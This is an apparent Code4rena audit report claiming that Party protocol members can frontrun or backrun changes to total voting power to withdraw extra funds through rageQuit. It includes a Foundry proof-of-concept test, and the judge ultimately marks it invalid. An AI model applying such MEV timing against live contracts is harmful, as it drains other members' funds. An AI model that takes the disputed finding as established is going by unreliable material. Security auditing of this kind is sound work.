User can frontrun / backrun total voting power update to withdraw more fund from party

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L236 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L393

Vulnerability details

Impact

Update total voting power can impact live proposal

Proof of Concept

in the current implementation

the authority address can call increaseTotalVotingPower or decreaseTotalVotingPower

/// @notice Increase the total voting power of the party. Only callable by
///         an authority.
/// @param votingPower The new total voting power to add.
function increaseTotalVotingPower(uint96 votingPower) external {
    _assertAuthority();
    _getSharedProposalStorage().governanceValues.totalVotingPower += votingPower;
}

/// @notice Decrease the total voting power of the party. Only callable by
///         an authority.
/// @param votingPower The new total voting power to add.
function decreaseTotalVotingPower(uint96 votingPower) external {
    _assertAuthority();
    _getSharedProposalStorage().governanceValues.totalVotingPower -= votingPower;
}

but calling such function can have unintended side effects

the codebase that use the state totalVotingPower is this function when comparing the voting power share of

/// @notice Return the voting power share of a token. Denominated
///         fractions of 1e18. I.e., 1e18 = 100%.
/// @param tokenId The token ID to query.
/// @return share The voting power percentage of `tokenId`.
function getVotingPowerShareOf(uint256 tokenId) public view returns (uint256) {
    uint256 totalVotingPower = _getSharedProposalStorage().governanceValues.totalVotingPower;
    return
        totalVotingPower == 0 ? 0 : (votingPowerByTokenId[tokenId] * 1e18) / totalVotingPower;
}

suppose the totalVotingPower is reduced, the getVotingPowerShareOf return a large number and

can this function is used to calculate how much fund user can withdraw when rageQuit on party NFT,

// Check token's balance.
uint256 balance = address(withdrawTokens[i]) == ETH_ADDRESS
    ? address(this).balance
    : withdrawTokens[i].balanceOf(address(this));

// Add fair share of tokens from the party to total.
for (uint256 j; j < tokenIds.length; ++j) {
    // Must be retrieved before burning the token.
    withdrawAmounts[i] += (balance * getVotingPowerShareOf(tokenIds[j])) / 1e18;
}

in case when getVotingPowerShareOf return a large amount when total voting power is reduced, user can rage quit to suddenly withdraw more fund by backrun the total voting power reduction

or in case when the total voting power, they can frontrun to avoid loss

the POC below shows how the backrun works, party member withdraw more fund after the total voting power is reduced

can add this POC to PartyGovernanceNFT.t.sol

    function testRageQuit_single_poc() external {
        (Party party, , ) = partyAdmin.createParty(
            partyImpl,
            PartyAdmin.PartyCreationMinimalOptions({
                host1: address(this),
                host2: address(0),
                passThresholdBps: 5100,
                totalVotingPower: 100,
                preciousTokenAddress: address(toadz),
                preciousTokenId: 1,
                rageQuitTimestamp: 0,
                feeBps: 0,
                feeRecipient: payable(0)
            })
        );

        vm.prank(address(this));
        party.setRageQuit(uint40(block.timestamp) + 1);

        address recipient = _randomAddress();
        vm.prank(address(partyAdmin));
        uint256 tokenId = party.mint(recipient, 10, recipient);

        vm.deal(address(party), 1 ether);

        IERC20[] memory tokens = new IERC20[](4);
        tokens[0] = IERC20(address(new DummyERC20()));
        tokens[1] = IERC20(address(new DummyERC20()));
        tokens[2] = IERC20(address(new DummyERC20()));
        tokens[3] = IERC20(ETH_ADDRESS);

        // Sort the addresses from lowest to highest.
        for (uint256 i; i < tokens.length; ++i) {
            for (uint256 j = 0; j < tokens.length - i - 1; j++) {
                if (address(tokens[j]) > address(tokens[j + 1])) {
                    IERC20 temp = tokens[j];
                    tokens[j] = tokens[j + 1];
                    tokens[j + 1] = temp;
                }
            }
        }

        uint256[] memory minWithdrawAmounts = new uint256[](4);

        uint96[] memory balances = new uint96[](3);
        for (uint256 i; i < balances.length; ++i) {
            balances[i] = uint96(_randomRange(10, type(uint96).max));
            DummyERC20(address(tokens[i])).deal(address(party), balances[i]);
        }

        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenId;

        // uint96 votingPower = 50;
        // address authority = address(partyAdmin);
        // vm.prank(authority);
        // party.decreaseTotalVotingPower(votingPower);

        vm.prank(recipient);
        party.rageQuit(tokenIds, tokens, minWithdrawAmounts, recipient);

        console.log(payable(recipient).balance);

    }

this is the regular withdraw without backrunning total power update, the user will get 0.1 ETH in recipient address

if we run

forge test -vv --match-test "testRageQuit_single"

we are getting

Running 1 test for test/party/PartyGovernanceNFT.t.sol:PartyGovernanceNFTTest
[PASS] testRageQuit_single() (gas: 2660304)
Logs:
  100000000000000000

but if we uncomment the code block

uint96 votingPower = 50;
address authority = address(partyAdmin);
vm.prank(authority);
party.decreaseTotalVotingPower(votingPower);

right after the total voting power is reduced by 50, user immediate rage quit and he can withdraw 0.2 ETH

Running 1 test for test/party/PartyGovernanceNFT.t.sol:PartyGovernanceNFTTest
[PASS] testRageQuit_single_poc() (gas: 2662613)
Logs:
  200000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.93ms

Tools Used

Manual Review

Recommended Mitigation Steps

I think the protocol should snapshot the total voting power instead of let use a spot total voting power to let the updated live proposal and impact the user share amount

Assessed type

MEV

[c4-pre-sort]

ydspa marked the issue as duplicate of #545

[c4-pre-sort]

ydspa marked the issue as insufficient quality report

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory: Invalid

[JeffCX]

I think report #351 wrote a good report as well

the frontrunning behavior is backed up by a POC

so politely think the severity is at least medium if not high

[c4-judge]

gzeon-c4 marked the issue as not a duplicate

[c4-judge]

gzeon-c4 marked the issue as duplicate of #414

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 marked the issue as not a duplicate

[c4-judge]

gzeon-c4 marked the issue as duplicate of #545

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory: Invalid